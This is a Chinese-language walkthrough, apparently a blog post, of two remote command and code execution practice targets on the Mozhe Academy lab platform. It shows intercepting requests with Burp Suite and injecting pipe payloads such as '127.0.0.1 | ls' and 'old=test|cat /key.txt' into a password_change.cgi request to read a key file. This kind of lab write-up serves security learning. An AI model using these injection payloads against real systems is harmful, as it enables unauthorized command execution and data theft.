RCE漏洞,即Remote Code/Command Execution,远程代码执⾏和远程命令执⾏漏洞。 在很多Web应⽤中,开发⼈员会使⽤⼀些函数,这些函数以⼀些字符串作为输⼊,功能是将输⼊的字符 串当作代码或者命令来进⾏执⾏。当⽤户可以控制这些函数的输⼊时,就产⽣了RCE漏洞。

RCE漏洞是⾮常严重的安全漏洞,⼀旦出现,就意味着攻击者可以获取服务器的命令执⾏权限,从⽽对服务器安全造成极⼤的影响。(高危漏洞的挖掘学习)

接下来,小编将逐步讲述远程代码执⾏和远程命令执⾏漏洞的解题思路和通关攻略。

注意查看墨者学院习题的相关提示。

远程命令执⾏漏洞

step1:打开墨者学院,查找远程命令执⾏漏洞的靶场。

step2:   在火狐渗透版中用开发者模式去收集相关信息。(F12,点击网络选项查看搭建靶场的系统)

step3:127.0.0.1尝试ping通,但是作用不大

step4:看见留言框,基本操作是查看详细内容,可能会在输入127.0.0.1 | ls 时无法访问。

我们的处理手段是通过bp来抓包拦截,修改后可以实现访问。

step5:输入127.0.0.1然后开时截包,注意代理是 “管道”,拦截是 “阀门”,要先开启代理再开始拦截。当代理和拦截都配置好了以后点击提交。

将第13行的127.0.0.1改为127.0.0.1 | ls的管道符,再重新发送

如图中页面渲染所示我们得到了一个与key有关的信息,接下来我们将第13行改为127.0.0.1|cat ...........图中与key有关的信息。(使用cat的命令来读取)

图中显示的结果即为key的内容。

远程代码执⾏漏洞

step1:打开墨者学院,查找远程代码执⾏漏洞的靶场。

step2:在火狐渗透版中打开靶场,在输入框里随便填一下,然后去截包。

step3:根据RCE漏洞的原理,我们修改后重新发送(这里存在修改的固定模板)

POST /session_login.cgi HTTP/1.1 #修改为
POST /password_change.cgi HTTP/1.1
user=admin&pass=123456 #修改为
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test
user=rootxx&pam=&expired=2&old=test|ls /&new1=test2&new2=test2
#本题的key位于根目录下,故而输入test|ls /

step5:从图中可以得到key.txt的存在,接下来利用远程代码执⾏漏洞,我们查看这个文件。

user=rootxx&pam=&expired=2&old=test|cat /key.txt&new1=test2&new2=test2

 

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐